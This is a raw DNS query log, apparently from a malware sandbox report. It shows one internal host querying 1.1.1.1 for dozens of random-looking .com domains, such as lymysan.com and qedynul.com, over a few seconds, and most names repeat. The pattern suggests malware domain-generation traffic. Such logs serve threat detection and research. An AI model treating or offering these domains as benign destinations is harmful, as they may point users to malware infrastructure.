                                                                                                                                                                                                          Aug 23, 2024 18:42:57.211102962 CEST192.168.2.51.1.1.10xcc9Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.211385965 CEST192.168.2.51.1.1.10xe5abStandard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.211880922 CEST192.168.2.51.1.1.10x7922Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.212336063 CEST192.168.2.51.1.1.10x6bebStandard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.212503910 CEST192.168.2.51.1.1.10xefd3Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.213705063 CEST192.168.2.51.1.1.10x821dStandard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.214555979 CEST192.168.2.51.1.1.10xb27dStandard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.254086018 CEST192.168.2.51.1.1.10x4432Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.280251026 CEST192.168.2.51.1.1.10x59acStandard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.282011032 CEST192.168.2.51.1.1.10x107dStandard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.283607006 CEST192.168.2.51.1.1.10x87abStandard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.297449112 CEST192.168.2.51.1.1.10x5bd1Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.297867060 CEST192.168.2.51.1.1.10xfd10Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.298736095 CEST192.168.2.51.1.1.10x96acStandard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.299137115 CEST192.168.2.51.1.1.10xfdf2Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.299751043 CEST192.168.2.51.1.1.10xc896Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.300843000 CEST192.168.2.51.1.1.10xc6bStandard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.301290989 CEST192.168.2.51.1.1.10x26f2Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.301619053 CEST192.168.2.51.1.1.10x4966Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.301809072 CEST192.168.2.51.1.1.10x6877Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.301975965 CEST192.168.2.51.1.1.10x4260Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.302428007 CEST192.168.2.51.1.1.10x6fc5Standard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.302623034 CEST192.168.2.51.1.1.10x76b6Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.302999973 CEST192.168.2.51.1.1.10xaa43Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.303369045 CEST192.168.2.51.1.1.10x9fecStandard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.303899050 CEST192.168.2.51.1.1.10xa803Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.304105997 CEST192.168.2.51.1.1.10xd196Standard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.304652929 CEST192.168.2.51.1.1.10xeb46Standard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.304920912 CEST192.168.2.51.1.1.10x6970Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.305445910 CEST192.168.2.51.1.1.10x1756Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.391102076 CEST192.168.2.51.1.1.10x5c69Standard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.391191959 CEST192.168.2.51.1.1.10x7267Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.393625021 CEST192.168.2.51.1.1.10xffb4Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.394731045 CEST192.168.2.51.1.1.10xa38aStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.395315886 CEST192.168.2.51.1.1.10x5468Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.395339012 CEST192.168.2.51.1.1.10x3a54Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.396102905 CEST192.168.2.51.1.1.10x1568Standard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.396146059 CEST192.168.2.51.1.1.10xc132Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.396399975 CEST192.168.2.51.1.1.10xfdcfStandard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.397092104 CEST192.168.2.51.1.1.10x1d10Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.397130966 CEST192.168.2.51.1.1.10x8653Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.397313118 CEST192.168.2.51.1.1.10xc9abStandard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.397921085 CEST192.168.2.51.1.1.10xe00Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.398194075 CEST192.168.2.51.1.1.10x9e92Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.399410009 CEST192.168.2.51.1.1.10xf774Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.401140928 CEST192.168.2.51.1.1.10x7757Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.401487112 CEST192.168.2.51.1.1.10x1c78Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.402645111 CEST192.168.2.51.1.1.10x254eStandard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.402971029 CEST192.168.2.51.1.1.10xdf7cStandard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.403887987 CEST192.168.2.51.1.1.10x2b28Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.404298067 CEST192.168.2.51.1.1.10xa6e6Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:58.420078039 CEST192.168.2.51.1.1.10x21adStandard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:58.420116901 CEST192.168.2.51.1.1.10x8c6bStandard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:59.676784992 CEST192.168.2.51.1.1.10x8c6bStandard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.281461954 CEST192.168.2.51.1.1.10xb4f6Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.282006979 CEST192.168.2.51.1.1.10x41aaStandard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.282232046 CEST192.168.2.51.1.1.10xf26cStandard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.282485008 CEST192.168.2.51.1.1.10xaa38Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.282972097 CEST192.168.2.51.1.1.10x10e6Standard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.283159971 CEST192.168.2.51.1.1.10xa20dStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.283443928 CEST192.168.2.51.1.1.10x3b50Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.283714056 CEST192.168.2.51.1.1.10x1050Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.283915997 CEST192.168.2.51.1.1.10x739Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.284084082 CEST192.168.2.51.1.1.10xd75Standard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.285747051 CEST192.168.2.51.1.1.10x17cbStandard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.373393059 CEST192.168.2.51.1.1.10x732cStandard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.373394012 CEST192.168.2.51.1.1.10xa0fcStandard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.373558998 CEST192.168.2.51.1.1.10x1448Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.373728037 CEST192.168.2.51.1.1.10x9791Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.373806953 CEST192.168.2.51.1.1.10x506eStandard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.373980999 CEST192.168.2.51.1.1.10xeaa8Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.374146938 CEST192.168.2.51.1.1.10x269bStandard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.374631882 CEST192.168.2.51.1.1.10xc846Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.374984026 CEST192.168.2.51.1.1.10x2e97Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.375257969 CEST192.168.2.51.1.1.10xac94Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.375716925 CEST192.168.2.51.1.1.10xec98Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.375884056 CEST192.168.2.51.1.1.10x8f5bStandard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.376970053 CEST192.168.2.51.1.1.10xca0cStandard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.377491951 CEST192.168.2.51.1.1.10xa210Standard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.378470898 CEST192.168.2.51.1.1.10x4005Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.378916979 CEST192.168.2.51.1.1.10x2452Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.379492998 CEST192.168.2.51.1.1.10xf7a9Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.379996061 CEST192.168.2.51.1.1.10xe6f4Standard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.380397081 CEST192.168.2.51.1.1.10x9107Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.381162882 CEST192.168.2.51.1.1.10x4355Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.381382942 CEST192.168.2.51.1.1.10x7a54Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.381731987 CEST192.168.2.51.1.1.10x8237Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.381959915 CEST192.168.2.51.1.1.10xaf16Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.382508039 CEST192.168.2.51.1.1.10xe552Standard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.382931948 CEST192.168.2.51.1.1.10xf7e3Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.383359909 CEST192.168.2.51.1.1.10xbee1Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.383682013 CEST192.168.2.51.1.1.10xa980Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.383923054 CEST192.168.2.51.1.1.10x97f2Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.384130955 CEST192.168.2.51.1.1.10xead4Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.384551048 CEST192.168.2.51.1.1.10xda49Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.384726048 CEST192.168.2.51.1.1.10x92d1Standard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.385118008 CEST192.168.2.51.1.1.10xee14Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.385339975 CEST192.168.2.51.1.1.10x2d06Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.385901928 CEST192.168.2.51.1.1.10xdd28Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.386202097 CEST192.168.2.51.1.1.10xf218Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.386698008 CEST192.168.2.51.1.1.10xca91Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.387283087 CEST192.168.2.51.1.1.10xccccStandard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.387662888 CEST192.168.2.51.1.1.10x8c0fStandard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.388015032 CEST192.168.2.51.1.1.10x13ccStandard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.388511896 CEST192.168.2.51.1.1.10xde59Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.388727903 CEST192.168.2.51.1.1.10x6e6cStandard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.389672041 CEST192.168.2.51.1.1.10x794eStandard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.389905930 CEST192.168.2.51.1.1.10x42a0Standard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.390325069 CEST192.168.2.51.1.1.10xb1b8Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.390825033 CEST192.168.2.51.1.1.10xe2ebStandard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.391207933 CEST192.168.2.51.1.1.10x5a08Standard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.391472101 CEST192.168.2.51.1.1.10x52bStandard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.391752005 CEST192.168.2.51.1.1.10xed5aStandard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.392357111 CEST192.168.2.51.1.1.10xe1edStandard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.392720938 CEST192.168.2.51.1.1.10x1040Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.392926931 CEST192.168.2.51.1.1.10x84fcStandard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.393568993 CEST192.168.2.51.1.1.10xf72cStandard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.452342987 CEST192.168.2.51.1.1.10x7b39Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.452822924 CEST192.168.2.51.1.1.10xb19cStandard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.452945948 CEST192.168.2.51.1.1.10xcaefStandard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.453327894 CEST192.168.2.51.1.1.10xd6faStandard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.453469992 CEST192.168.2.51.1.1.10x33e9Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.453685999 CEST192.168.2.51.1.1.10xaeaStandard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.454216957 CEST192.168.2.51.1.1.10xfc54Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.454335928 CEST192.168.2.51.1.1.10x176dStandard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.456010103 CEST192.168.2.51.1.1.10xaddeStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.456274986 CEST192.168.2.51.1.1.10xb439Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.456577063 CEST192.168.2.51.1.1.10xfdd4Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.457055092 CEST192.168.2.51.1.1.10xbb85Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.457271099 CEST192.168.2.51.1.1.10x2c2dStandard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.457551956 CEST192.168.2.51.1.1.10x6c0dStandard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.457963943 CEST192.168.2.51.1.1.10x87d6Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.458268881 CEST192.168.2.51.1.1.10xfd5bStandard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.458714008 CEST192.168.2.51.1.1.10x1d09Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.458937883 CEST192.168.2.51.1.1.10x7702Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.459604979 CEST192.168.2.51.1.1.10xdd9eStandard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.460618019 CEST192.168.2.51.1.1.10xe7ceStandard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.461153030 CEST192.168.2.51.1.1.10xfc4fStandard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.461600065 CEST192.168.2.51.1.1.10x2ed8Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.468436956 CEST192.168.2.51.1.1.10x2c58Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.488928080 CEST192.168.2.51.1.1.10x40d3Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.490478992 CEST192.168.2.51.1.1.10xc627Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.490631104 CEST192.168.2.51.1.1.10x98feStandard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.493716002 CEST192.168.2.51.1.1.10xb0d9Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.493890047 CEST192.168.2.51.1.1.10xedceStandard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.500930071 CEST192.168.2.51.1.1.10xa62dStandard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.501184940 CEST192.168.2.51.1.1.10xa75Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.521121979 CEST192.168.2.51.1.1.10xab37Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.546303034 CEST192.168.2.51.1.1.10x4246Standard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.546844006 CEST192.168.2.51.1.1.10x6939Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.547138929 CEST192.168.2.51.1.1.10xc26bStandard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.549735069 CEST192.168.2.51.1.1.10x8a64Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.550647020 CEST192.168.2.51.1.1.10x3496Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.551532030 CEST192.168.2.51.1.1.10x4fefStandard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.551753998 CEST192.168.2.51.1.1.10x2cadStandard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.552184105 CEST192.168.2.51.1.1.10x26f1Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.552617073 CEST192.168.2.51.1.1.10xed54Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.552798033 CEST192.168.2.51.1.1.10xe249Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.553114891 CEST192.168.2.51.1.1.10xeae9Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.553329945 CEST192.168.2.51.1.1.10xff74Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.553472042 CEST192.168.2.51.1.1.10x5753Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.553837061 CEST192.168.2.51.1.1.10x4441Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.554044008 CEST192.168.2.51.1.1.10xf5efStandard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.559703112 CEST192.168.2.51.1.1.10xfbd2Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.559871912 CEST192.168.2.51.1.1.10x3ef2Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.560266972 CEST192.168.2.51.1.1.10xa465Standard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.560430050 CEST192.168.2.51.1.1.10xa16dStandard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.560761929 CEST192.168.2.51.1.1.10xebb9Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.561131001 CEST192.168.2.51.1.1.10xf17fStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.561281919 CEST192.168.2.51.1.1.10xbb0Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.561707020 CEST192.168.2.51.1.1.10xb4e5Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.561980009 CEST192.168.2.51.1.1.10x283dStandard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.562264919 CEST192.168.2.51.1.1.10x6c0Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.562453032 CEST192.168.2.51.1.1.10xe041Standard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.562865973 CEST192.168.2.51.1.1.10x8ce4Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.563458920 CEST192.168.2.51.1.1.10x1efeStandard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.568617105 CEST192.168.2.51.1.1.10x6c76Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.574039936 CEST192.168.2.51.1.1.10xf2b2Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.574327946 CEST192.168.2.51.1.1.10xe58bStandard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.574475050 CEST192.168.2.51.1.1.10x88bStandard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.575295925 CEST192.168.2.51.1.1.10x23d5Standard query (0)lysynur.comA (IP address)IN (0x0001)false
